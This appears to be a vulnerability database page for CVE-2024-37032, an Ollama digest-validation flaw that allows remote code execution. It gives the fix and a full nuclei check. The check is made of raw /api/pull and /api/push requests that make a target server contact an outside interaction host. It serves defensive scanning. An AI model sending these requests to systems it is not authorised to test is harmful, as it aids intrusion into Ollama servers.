HexBrain

Browse / CVEs / CVE-2024-37032

CVE-2024-37032· ollama / ollama

Ollama - Remote Code Execution

criticalseverity
89.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.

Impact

Attackers can exploit improper digest validation to achieve remote code execution on Ollama servers.

Fix

Update Ollama to version 0.1.34 or later.

How to confirm it

Send: POST /api/pull ; POST /api/push
Positive when: contains(interactsh_protocol, 'http') and contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')

Run it with nuclei: nuclei -id CVE-2024-37032 -u <target>

The full check
id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  impact: |
    Attackers can exploit improper digest validation to achieve remote code execution on Ollama servers.
  remediation: |
    Update Ollama to version 0.1.34 or later.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  classification:
    epss-score: 0.89633
    epss-percentile: 0.9979
    cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ollama
    product: ollama
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce,ai,vkev,vuln

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from